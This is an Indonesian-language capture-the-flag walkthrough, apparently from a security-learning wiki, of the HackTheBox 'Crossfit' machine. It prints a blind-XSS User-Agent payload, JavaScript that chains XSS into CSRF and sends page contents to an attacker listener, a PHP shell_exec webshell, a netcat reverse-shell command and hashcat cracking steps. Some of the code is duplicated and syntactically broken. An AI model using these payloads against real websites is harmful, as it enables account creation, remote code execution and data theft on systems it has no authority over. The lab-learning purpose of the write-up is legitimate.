Bitlab Developers
  • Introduction
  • 🐧Linux
    • Perkenalan Linux
    • DVWA: Install On Kali Linux
    • MYSQL: Kali Linux
    • How To Add Apps In Kali Linux
    • Initial Linux Installation
    • Linux: Fundamentals
    • Linux: Privilege Escalation
  • 💾HackLovers ID
    • Penestration Testing
    • Check Kerentanan Manual
    • Security Models
    • Pentesting Fundamentals
    • Metodologi Hacking
      • Metodologi By Anonputraid
    • Scope Penestration
    • Pengumpulan Informasi
    • 📑Learning Path !
  • SQL Injection
    • Perkenalan SQL-Injection
    • Examining the Database
    • Cheat Sheet
    • Union Attack
    • Subverting application logic
    • Retrieving Hidden Data
    • Blind vulnerabilities
      • Blind SQL-Injection: Triggering Conditional Responses
      • Blind SQL injection: Triggering Time Delays
      • Blind SQL Injection: Triggering SQL Errors
      • Blind SQL injection: Out Of Band (OAST)
  • ⚡Networking
    • Network Fundamental
  • Burp-Suite
    • Burp Suite: List
    • Burp Suite: Profesional Install
    • Burp Suite: The Basic
      • Burp Suite: What is Burp Suite?
      • Burp Suite: How To install
      • Burp Suite: The Dashboard
      • Burp Suite: Navigation
      • Burp Suite: Introduction to the Burp Proxy
      • Burp Suite: Connecting through the Proxy (FoxyProxy)
      • Burp Suite: Proxying HTTPS
      • Burp Suite: The Burp Suite Browser
      • Burp Suite: Scoping and Targeting
      • Burp Suite: Site Map and Issue Definitions
      • Burp Suite: Example Attack
    • Burp Suite: Repeater
      • Burp Suite: What is Repeater?
      • Burp Suite: Basic Usage
      • Burp Suite: Inspector
      • Burp Suite: Views
      • Burp Suite: Challenge
      • Burp Suite: SQLi with Repeater
    • Overview of Burp Suite
      • 📋Burp Suite: Anonputraid Tips
        • Burp Suite: Cross-Site Scripting
  • 🤖Hackthebox
    • Pekernalan Hackthebox
    • Hackthebox Machines
    • Tips & Trick
      • Basic Web Enumeration
      • SSRF & CRLF Attacks
      • Metasploit MsfVenom Apk
      • HashCat: Rules Type Base64
      • Forensic Knowledge
      • Gitlab Laboratory
      • Proxychains & DNS
  • Tryhackme
    • Perkenalan Try Hack Me
    • Learning Path
  • 🖥️Mac Os
    • Catalina Tools
      • Visual Studio Code
    • Dual Boot Kali Linux On Mac
    • How To Change Theme Refind
    • How To Remove Refind
    • Tips to Beautify Terminal
    • Macos For Hacking
    • How To Change Icon Macos
  • Pascal
    • Learning Path
    • Struktur Program Pascal
      • Judul program
      • Bagian Pernyataan/Terproses
      • Bagian Deklarasi
        • Deklarasi prosedur dan Fungsi
        • Deklarasi variabel/perubah
        • Deklarasi Tipe
        • Deklarasi Label
        • Deklarasi Konstanta
    • The Basic
      • Tipe Data
        • Tipe Data standar
          • Tipe Data Integer
          • Tipe data real
          • Tipe Data Karakter
          • Tipe Data String
          • Tipe Sata Boolean
        • Tipe Data Terdefinisi
          • Tipe Data Subjangkauan
          • Tipe Data Terbilang
          • Tipe Data Larik (array)
          • Tipe data record dan file
      • Statemen-statemen
        • Reserved Word
      • Perintah Perintah
        • Statemen Input/output
          • Read/readln(Prosedur)
          • ReadKey(fungsi)
          • Write/writeln(prosedur)
        • Statemen Pengaturan Letak Di Layer
          • Clrscr(prosedur)
          • Gotoxy(prosedur)
          • Delline(prosedur)
          • Insline(prosedur)
          • Delay(prosedur)
        • Statemen Memanipulasi String
          • Concat(fungsi)
          • Copy(fungsi)
          • Delete(prosedur)
          • Insert(Prosedur)
          • Length(fungsi)
          • Pos(fungsi)
          • Str(prosedur)
          • Val(prosedur)
          • Upcase(fungsi)
        • Statemen Perhitungan Aritmatik
          • Abs(Fungsi)
          • Arctan(fungsi)
          • Cos(fungsi)
          • Exp(fungsi)
          • Frac(fungsi)
          • Int(fungsi)
          • LN(fungsi)
          • Sin(fungsi)
          • Sqr(fungsi)
          • SQRT(fungsi)
        • Statemen Transfer Nilai Dari Suatu Variable
          • Chr(fungsi)
          • Ord(fungsi)
          • Round(fungsi)
          • Trunc(fungsi)
        • Statemen Memanipulasi Data
          • Pred(fungsi)
          • Succ(fungsi)
          • INC(fungsi)
          • DEC(fungsi)
        • Statemen Tambahan (warna,suara dan window)
          • Sound(prosedur)
          • TextMode(prosedur)
          • Window(prosedur)
          • Textbackground(prosedur)
          • TextColor(prosedur)
      • Bentuk Perulangan
        • Perulangan FOR
          • Perulangan FOR negatif
          • Perulangan FOR positif
          • Perulangan FOR tersarang
        • Perulangan WHILE-DO
      • Record
        • Deklarasi Record
        • Statemen with
        • Record Dalam Array
        • Field Record Bertipe Array
        • Tipe Data Record Dengan Field Tipe Record
      • Procedure
        • Template Latihan Proseduce
        • Parameter Dalam Procedure
        • Pengiriman parameter Secara Nilai
        • Pengiriman Parameter Secara Acuan (By Reference)
        • Procedure Memanggil Procedure Yang Lain
        • Procedure Tersarang
        • Procedure Memanggil Dirinya Sendiri (Rekursi)
      • Function
        • Rekursi Pada Function
        • Parameter Nilai Dalam Function
        • Function Dengan Parameter Acuan
        • Function tanpa parameter
      • File Teks
        • Membuat File Teks
        • Deklarasi File Teks
        • Pernyataan Rese
        • Pernyataan Rewrite
        • Pernyataan Close
      • File Binary
      • Pascal Library
        • Free Pascal Game
        • SDL: Simple DirectMedia Layer
          • SDL: Language Bindings
        • How To Install ?
      • Pascal Examples
        • Pascal Exercises
          • Exersices 1
          • Exersices 2
          • Exersices 3
          • Exersices 4
        • Pascal Quiz
          • Question 1
      • Perkenalan Pascal
  • Dart Programming
    • Install Dart On Linux
  • ⚙️Technical
    • Pengantar Sistem Informasi
    • Perkenalan UEFI & Legacy
  • Git Dan Github
    • Download Git & Setting
    • Membuat Portofolio GitHub
  • Xampp
    • Error Mysql Xampp
Powered by GitBook
On this page
  • Intro
  • Description :
  • Enumeration
  • REFERENCE
  • XSS to CSRF to RCE
  • Lateral Movement
  • Privilege Escalation

Was this helpful?

  1. Hackthebox
  2. Tips & Trick

Forensic Knowledge

Author: Zulkarnaen

Last updated 2 years ago

Was this helpful?

Intro

HackThebox Crossfit Adalah Box Dengan Tingkat Kesulitan Insane , Tingkat Mechine Matrix Lebih Mengarah Enumeration , Custom Exploit , Dan Real Life , Application Yang Retan Di Mesin Tersebut Adalah FTP , Exploitation : Enumeration , Forensic Knowledge , Code Review , XSS (Cross Site Scripting) , CSRF (Cross-Site Request Forgery) , CORS (Cross-Origin Resource Sharing) , Basic Reverse Engineering.

Description :

Situs web ini menggunakan sebuah mekanisme pencegahan XSS yang log Alamat IP dan User-Agen Terdeteksi XSS. Log akan ditampilkan pada halaman web yang Secara berkala dikunjungi oleh admin, Dapat Digunakan sebagai sumber Buta XSS. CORS digunakan untuk menghitung sub domain yang menerima salib-asal sumber daya dengan mengirimkan Asal header dan mencari untuk Access-Control-Allow-Origin respon header. Hal ini menyebabkan identifikasi virtualhost yang memungkinkan untuk Membuat Account FTP pengguna yang memiliki izin untuk meng-upload file ke webdirectory.

Karena hal ini virtual host tidak dapat diakses dari jarak jauh, kerentanan XSS dimanfaatkan dalam rangka Untuk melakukan serangan CSRF. Hal ini Memerlukan Membaca Sebuah anti-CSRF Token dan mengirimkannya bersama Dengan POSTING permintaan kami mengirimkan. Oleh chaining XSS dan CSRF, FTP user dapat menambahkan dan kemudian digunakan untuk meng-upload File berbahaya PHP, sehingga dalam remote command execution sebagai www-data Pengguna. Eskalasi ke user biasa hank membutuhkan membaca password hash di dunia-dibaca Ansible playbook file dan retak itu.

Perintah injeksi kerentanan ini kemudian diidentifikasi dan dimanfaatkan, yang memungkinkan kita untuk bergerak secara lateral untuk issac pengguna. Kedua cron job dapat dimanfaatkan oleh reverse engineering program C. Kami mengidentifikasi sewenang-wenang menulis primitif, yang memungkinkan file dari format yang diberikan akan dibuat sebagai root. Oleh symlinking sewenang-wenang file untuk /root/.ssh/authorized_keys sebelum program berjalan, dan menulis user-generated kunci publik untuk database yang kemudian akan ditulis ke authorized_keys file, kita mendapatkan akses SSH ke sistem sebagai root.

CTF:

  • Custom Exploit

  • Real Life

  • Enumeration

Alat Alat Hacking :

  • nmap

  • sudo

  • zaproxy

  • LinPeas

  • Curl

  • Python

  • proxychains

  • Pspy

  • Radare2

  • Binwalk

  • Hashcat

  • rustscan

Enumeration

Open Port :

rustscan -a 10.10.10.208 --ulimit 10000

Keluaran Rustscan menunjukkan bahwa SSH, Apache dan FTP tersedia di port Default mereka. Server FTP dikonfigurasi untuk menggunakan SSL/TLS. Mari kita periksa sertifikat TLS :

openssl s_client -connect 10.10.10.208:21 -starttls ftp

Explanation :

Sertifikat CN, juga dikenal sebagai Nama umum, disetel Sebagai nilai * .crossfit.htb, di mana alamat email terkait menggunakan subdomain gym-club.crossfit.htb. Kami mencatat domain ini karena mungkin akan berguna nanti. Mari menuju ke port 80 menggunakan browser untuk melihat halaman web di http://10.10.10.208/. Kami disajikan dengan halaman Apache/Debian default.

Added Domain/IP Mesin Crossfit ke /etc/hosts :

echo "10.10.10.208 gym-club.crossfit.htb" >> /etc/hosts

Mesin Tersebut Menggunakan Situs web Kebugaran Dan Olahraga.

Temuan Enumeration Pada situs web menunjukkan Ada Nya beberapa From Inputan. Di bawah setiap Postingan Diwebsite Tersebut terdapat form komentar bagi pengguna untuk mengirimkan komentar.

Mari Kirimkan komentar Di salah satu Posting Blog Untuk menguji Fungsionalitas Formulir.

Balasan Dari server menunjukkan bahwa pesan Telah dikirim dan akan dievaluasi oleh Moderator. Karena ada kemungkinan seseorang melihat komentar ini Secara Manual, sebaiknya periksa apakah formulir tersebut rentan Terhadap Cross Site Scripting.

Payload paling Umum untuk Menguji kerentanan XSS Adalah Alert Function.

<script>alert('XSS')</script>

Setelah Komentar dikirimkan, Sebuah pesan Memberi tahu kami bahwa upaya Cross Site Scripting telah Terdeteksi Dan Diblokir.

Petunjuk Menunjukkan Bahwa Komentar Akan Ditinjau Oleh Moderator, Sedangkan Laporan Keamanan akan dianalisis oleh "admin team". Seorang admin mungkin akan memiliki lebih banyak akses daripada moderator, dan akan menjadi Target Kita yang lebih baik.

gobuster dir -u http://gym-club.crossfit.htb -w/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 80

Pemindaian menunjukkan Direktori bernama security_threat. Arahkan ke sana Menggunakan browser untuk memeriksa Apakah ada file yang tersedia.

Direktori tersebut berisi file Bernama Report.php. Setelah Mengaksesnya, Kami Mendapatkan Pesan Berikut

Anda tidak Diizinkan untuk mengakses halaman ini.

Akses Ke Halaman Ini Dilarang, Tetapi menurut pesan peringatan yang kami dapatkan ketika kami mencoba Mengirim muatan XSS, ada kemungkinan administrator dapat melihatnya.

Peringatan yang dilemparkan ketika Upaya XSS terdeteksi menyatakan bahwa informasi Browser kami akan disertakan dalam laporan yang dibuat. Sebaiknya periksa apakah header User-Agent dapat disalahgunakan agar berhasil mengeksploitasi kerentanan XSS.

Mengirim komentar yang berisi tag <script> untuk memicu deteksi XSS, dan mencegat permintaannya di Burp

Edit User-Agent menjadi :

<script src="http://<yourip>/"></script>

Ganti Alamat IP di atas dengan IP VPN Mesin Lokal Anda dan Jalankan Netcat Port 80.Ganti Alamat IP di atas dengan IP VPN Mesin Lokal Anda dan Jalankan Netcat Port 80.

sudo nc -nlvp 80

Terakhir, Klick Forward :

Sebuah Pesan Memberi Tahu kami bahwa upaya XSS terdeteksi.

Namun, Terhubung Dan Diterima Pada Perintah Netcat, Dan User-Agent Terkonfirmasi Memiliki Kerentanan XSS.

wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H"Host: FUZZ.crossfit.htb"--hh10701 http://10.10.10.223

Hasil dengan panjang 10701 karakter Dikecualikan, Karena itu adalah jumlah karakter di Halaman Apache default yang Ditampilkan untuk Host virtual yang tidak ada. Sayangnya, wfuzz tidak menampilkan Domain host baru.

Jika Kami Ingin Membuat Permintaan Lintas sumber ke domain yang berbeda, ini biasanya akan diblokir oleh kebijakan asal yang sama. Ada kemungkinan bahwa aturan CORS yang sesuai diterapkan untuk mengizinkan hal ini

REFERENCE

Jika subdomain (sebut saja domain2) memungkinkan permintaan sumber Daya Lintas Sumber dari domain gym-club.crossfit.htb, dan jika hubungan kepercayaan saling menguntungkan ( artinya domain gym-club.crossfit.htb juga mengizinkan permintaan dari domain2) , Maka server web Di http: //gymclub.crossfit.htb akan merespons Dengan header Access-Control-Allow-Origin yang sesuai untuk permintaan yang memiliki header Origin disetel ke http://domain2.crossfit.htb.

Alih-alih Mengaburkan header Host, kita bisa mengaburkan header Origin. Untuk membangun perintah kita, kita dapat merujuk ke dokumentasi Wfuzz. Gunakan sintaks berikut.

wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H"Origin: http://FUZZ.crossfit.htb" --filter "r.headers.response~'Access-Control-Allow-Origin'" http://gym-club.crossfit.htb/

Ini akan Menambahkan Header Asal ke permintaan dan memfilter hasil berdasarkan keberadaan header respons Access-Control-Allow-Origin

Subdomain ftp.crossfit.htb diidentifikasi. Perbarui file /etc/hosts dengan entri ini.

10.10.10.208 gym-club.crossfit.htb ftp.crossfit.htb

Setelah Menavigasi ke http://ftp.crossfit.htb Dengan browser kami, halaman Apache default dikembalikan.

Namun, domain ftp Dapat dijangkau Dari jaringan Internal, yang menjadikannya target potensial untuk serangan XSS ke CSRF kami.

XSS to CSRF to RCE

Untuk mendapatkan Konten Halaman http://ftp.crossfit.htb, kita Dapat Membuat File JavaScript berikut bernama Payload1.js.

Payload1.js
xhr.onreadystatechange = function() {
if (this.readyState === 4 && this.status === 200) {
varxhr 2 = newXMLHttpRequest();
xhr2.open("POST", "http://yourip:8000/", false);
xhr2.send(this.responseText);
}
};
xhr.open("GET", "http://ftp.crossfit.htb", false);
xhr.send();xhr.onreadystatechange = function() {
if (this.readyState === 4 && this.status === 200) {
varxhr 2 = newXMLHttpRequest();
xhr2.open("POST", "http://yourip:8000/", false);
xhr2.send(this.responseText);
}
};
xhr.open("GET", "http://ftp.crossfit.htb", false);
xhr.send();

Ini akan membuat permintaan GET sinkron ke http://ftp.crossfit.htb dan mengirimkan kembali hasilnya Ke badan permintaan POST. Jalankan server HTTP Python3 pada port 80.

Kemudian mulai Jalankan Netcat di porta 8000.

Gunakan Burp Repeater untuk mengedit header User-Agent Dari permintaan kami sebelumnya sebagai berikut.

<script src="http://yourip/payload1.js"></script>

Kirim permintaan Dan setelah beberapa saat muatan JavaScript kami diunduh Dan Dijalankan Oleh Server Target Dan, Mengembalikan kepada kami konten Halaman indeks FTP.

Judul FTP Hosting - Manajemen Akun dikembalikan. Salin output Dari Netcat, Simpan Ke file HTML dan buka Di browser.

Note : Koneksi Netcat Dimatikan dengan Setiap Koneksi Dan Karenanya harus Direstart untuk setiap percobaan.

Setelah menyimpan kode HTML Di atas ke dalam file lokal dan mengunjunginya di browser, kita dapat melihat bahwa titik akhir yang teridentifikasi terlihat seperti ini. Opsi untuk "Buat Akun Baru" terlihatSetelah menyimpan kode HTML Di atas ke dalam file lokal dan mengunjunginya di browser, kita dapat melihat bahwa titik akhir yang teridentifikasi terlihat seperti ini. Opsi untuk "Buat Akun Baru" terlihat.

Buat File JavaScript baru bernama payload2.js untuk meminta "Buat Akun Baru" yang terletak di /accounts/create.

payload2.js
myhttpserver = 'http://yourip:8000'
targeturl = 'http://ftp.crossfit.htb/accounts/create'
req = new XMLHttpRequest;
req.onreadystatechange = function() {
    if (req.readyState == 4) {
            req2 = new XMLHttpRequest;
            req2.open('GET', myhttpserver + btoa(this.responseText),false);
            req2.send();
        }
}
req.open('GET', targeturl, false);
req.send();

Hentikan permintaan lagi dan ubah Agen-Pengguna menjadi payload2.js. Tekan CTRL + R untuk Mengirimkannya ke Repeater dan kemudian meneruskan permintaan.

Pada pendengar Netcat kami, kami mendapatkan kode Source : http://ftp.crossfit.htb/accounts/creat

Formulir tersebut memungkinkan kita untuk Membuat Pengguna baru, Tetapi kita harus menjaga token anti-CSRF, yang disebut _token dalam kode sumber HTML. Dalam kerangka ini (yaitu Laravel), Token anti-CSRF terikat dengan Sesi, jadi kita membutuhkan cara untuk menjaga sesi antara XMLHttpRequests. Kami tidak bisa mendapatkan halaman dengan satu permintaan, salin token dan kemudian posting formulir dengan permintaan kedua karena kami akan memiliki dua sesi terpisah dan token yang kami kirim tidak valid. Header Access-Control-Allow-Credentials disetel ke true Di gym-club.crossfit.htb domain,Dan hal yang sama dapat Diasumsikan untuk subdomain ftp.

Ini akan memungkinkan kita untuk mengatur properti withCredentials dari XMLHttpRequest kita ke true, untuk mempertahankan cookie sesi antara permintaan yang berurutan.

Langkah-langkah eksploitasi potensial :

  • Dapatkan halaman /accounts/create

  • Parse hasilnya dan ambil parameter _token.

  • Buat permintaan POST ke halaman/accounts untuk menambahkan pengguna bernama sheeraz dengan passwordsheeraz.

  • Kirim hasilnya kembali ke pendengar Netcat kami di porta 8000

XMLHttpRequests akan dijalankan secara sinkron. Ini lebih disukai karena panggilan asinkron dijalankan secara paralel dan dalam kasus ini, karena kita menangani permintaan HTTP , yang membutuhkan waktu, dan permintaan tidak sinkron dapat mengakibatkan hasil yang salah atau kesalahan

Permintaan satu dan tiga akan memiliki properti withCredentials Disetel ke true untuk menjaga sesi yang sama.

Simpan payload di bawah sebagai payload3j

payload3.js
xhr.onreadystatechange = function() {
if (this.readyState == 4) {
// 2) Parse respons dan ambil token anti-CSRF (_token)
var parser = new DOMParser();
var doc = parser.parseFromString(this.responseText, "text/html");
var token = doc.getElementsByName('_token')[0].value;
var xhr3 = new XMLHttpRequest();
xhr3.onreadystatechange = function() {
if (this.readyState == 4) {
// 4) Mengirimkan hasil kembali ke pendengar netcat
var xhr4 = new XMLHttpRequest();
xhr4.open("POST", "http://yourip:8000/", false);
xhr4.send(this.responseText);
}
};
// 3) Buat permintaan POST ke halaman / accounts untuk menambahkan pengguna baru
xhr3.open("POST", "http://ftp.crossfit.htb/accounts", false);
xhr3.withCredentials = true;
xhr3.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
var params = "username=sheeraz&pass=sheeraz&_token=" + token;
xhr3.send(params);
}
};
// 1) Dapatkan halaman /accounts/create
xhr.open("GET", "http://ftp.crossfit.htb/accounts/create", false);
xhr.withCredentials = true;
xhr.send();

Ubah User-Agent di jendela Burp Repeater kami untuk menyajikan file payload3.js, buka file Server HTTP Python3 pada port 80 dan pendengar Netcat pada port 8000, dan kirim permintaan.

Setelah sekitar satu menit, muatan JavaScript kami diunduh dan dijalankan dan kami mendapatkan file tanggapan berikut.

Sekarang kita dapat mengakses server FTP dengan nama pengguna sheeraz dan kata sandi Sheeraz. Upaya untuk menghubungkan dengan klien FTP Parrot OS standar tidak berhasil karena sesi harus menggunakan enkripsi.

Instal lftp karena memungkinkan kita menggunakan SSL untuk FTP. Sebelum terhubung ke server FTP, kita perlu paksa SSL dan nonaktifkan verifikasi sertifikat saat sertifikat ditandatangani sendiri.

sudo -apt install lftp -y
lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect 10.10.10.208
lftp 10.10.10.208:~> login sheeraz

Mendaftar direktori menunjukkan bahwa kita memiliki akses tulis ke direktori development-test.

Dilihat dari nama direktori, kami berasumsi semua file yang diunggah mungkin dihosting di host virtual disebut development-test.crossfit.htb. Mari unggah shell terbalik PHP dan coba dapatkan file cangkang kembali. Keluarkan perintah berikut secara lokal untuk membuat webshell PHP yang Dijalankan perintah melalui parameter cmd.

echo "<?php echo shell_exec($_REQUEST['cmd']); ?>" > shell.php

Sayangnya, kami tidak dapat mengakses vhost ini dari mesin kami, tetapi kami dapat menggunakan serangan XSS sekali lagi karena administrator mungkin dapat mengaksesnya.

var xhr = new XMLHttpRequest();
xhr.open("GET", "http://development-test.crossfit.htb/shell.php?
cmd=nc+10.10.14.2+7777+-e+/bin/bash", false);
xhr.send();

Buka listener Netcat di Port 7777 dan server HTTP Python3 di port 80, lalu ubah Nilai User-Agent di Repeater dan mengirim permintaan.

Sebuah shell berhasil diterima. Layak untuk ditingkatkan ke shell TTY, yang lebih fungsional dan memungkinkan kita beralih ke pengguna lain jika diperlukan

which python
stty raw -echo
python -c 'import pty;pty.spawn("/bin/bash")';
CTRL+z
fg
export TERM=xterm

Lateral Movement

Mari menghitung sistem file untuk file yang dapat dibaca dunia.

find / -xdev -type d -perm -0001 -ls

Pemindaian menunjukkan beberapa file menarik yang dapat dibaca dunia di direktori /etc/ansible/playbooks. File-file tersebut adalah buku pedoman yang mungkin yang digunakan untuk menambahkan pengguna ke semua host yang dikonfigurasi.

Playbook yang memungkinkan dapat digunakan untuk mengonfigurasi akun pengguna mesin virtual dan banyak lainnya pengaturan. Ayo serang untuk memecahkan hash menggunakan Hashcat dan daftar kata rockyou.txt. Pertama, simpan hash dalam file bernama hank_hash.

Menurut dokumentasi Ansible, kata sandi di-hash menggunakan sha512crypt algoritma. Jalankan Hashcat menggunakan mode -m 1800, yang sesuai dengan algoritme hashing ini. Sakelar -r digunakan untuk menentukan file aturan untuk beberapa iterasi dari kata sandi yang sama.

hashcat -m 1800 hank_hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

Kata sandi berhasil dipecahkan dan diidentifikasi sebagai powerpuffgirls.

Kami dapat mencoba menggunakan kredensial hank/powerpuffgirls untuk masuk ke sistem melalui SSH dan baca tanda pengguna:

Perintah id mengungkapkan keinginan untuk menjadi anggota grup admin.

Privilege Escalation

Penghitungan sistem file mengungkapkan beberapa file menarik di dalam /home/isaac.

Selain itu, Pemeriksaan /etc/crontab Mengungkapkan bahwa skrip send_updates.php telah dijadwalkan Untuk mengeksekusi setiap menit :

Grup admin telah Diberi izin Membaca Pada File, Yang Berisi Kontendi Bawah.

<?php
/***************************************************
 * Send email updates to users in the mailing list *
 ***************************************************/
require("vendor/autoload.php");
require("includes/functions.php");
require("includes/db.php");
require("includes/config.php");
use mikehaertl\shellcommand\Command; 
 if($conn)
 {
    $fs_iterator = new FilesystemIterator($msg_dir); 
    foreach ($fs_iterator as $file_info)
    {
        if($file_info->isFile())
        {
            $full_path = $file_info->getPathname(); 
            $res = $conn->query('SELECT email FROM users');
            while($row = $res->fetch_array(MYSQLI_ASSOC))
            {
                $command = new Command('/usr/bin/mail');
                $command->addArg('-s', 'CrossFit Club Newsletter', $escape=true);
                $command->addArg($row['email'], $escape=true);
                $msg = file_get_contents($full_path);
                $command->setStdIn('test');
                $command->execute();
            }
        }
         unlink($full_path);
    }
}
cleanup();
?>

Seperti yang dikatakan pada komentar awal, skrip ini memuat file dari direktori $msg_dir dan kemudian mengirimkannya mereka ke semua alamat email yang ditentukan di tabel pengguna.

Kode yang relevan dari /var/www/gym-club/jointheclub.php Adalah sebagai berikut. Sebaiknya periksa file composer.json untuk melihat apakah ada dependensi yang digunakan oleh aplikasi sudah usang atau dapat dieksploitasi.

Memanfaatkan kerentanan ini harus mudah, karena fakta bahwa parameter email adalah dikontrol oleh pengguna. Kami tidak dapat menggunakan formulir di halaman jointheclub.php untuk memasukkan perintah alamat email karena pemeriksaan FILTER_VALIDATE_EMAIL, tetapi kita dapat mengakses database langsung.

From Input Data kedua Ditemukan Di Halaman Contact , yang dapat digunakan untuk mengirim pesan ke administrator situs web.

Perlu Diselidiki Apakah kerentanan XSS dapat Disalahgunakan Untuk membuat masalah Peramban Web Korban XMLHttpRequests untuk laman web yang tidak dapat kami akses, secara efektif mengubah XSS menjadi Pemalsuan Permintaan Lintas Situs. Karena kita telah memindai direktori di Domain gym-club.crossfit.htb tanpa menemukan Target Potensial, Mari kita Cari subdomain potensial Lainnya Menggunakan .

Alamat Email adalah yang terdaftar di halaman ".

Versi php-shellcommand yang digunakan oleh send_updates.php adalah 1.6.0. Versi ini menderita dari kerentanan injeksi perintah yang telah ditetapkan . Masalah deskripsi diidentifikasi di

🤖
Get In Touchpage
wfuzz
https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
bergabung dengan klub
CVE-2019-10774
GitHub
Crossfit
Rustscan
Openssl
Apache2
Crossfit
Leave A Comment
Get In Touch
Comment Submitted
XSS Attempt Detected
Gobuster
POST
wfuzz
wfuzz
Apache
Python3
Netcat
Post
Netcat
FTP Hosting
FTP Hosting
POST
Curl
Burp Suite
Teminal
ftp
Burp Suite
find
Adduser_hank
hashcat
crontab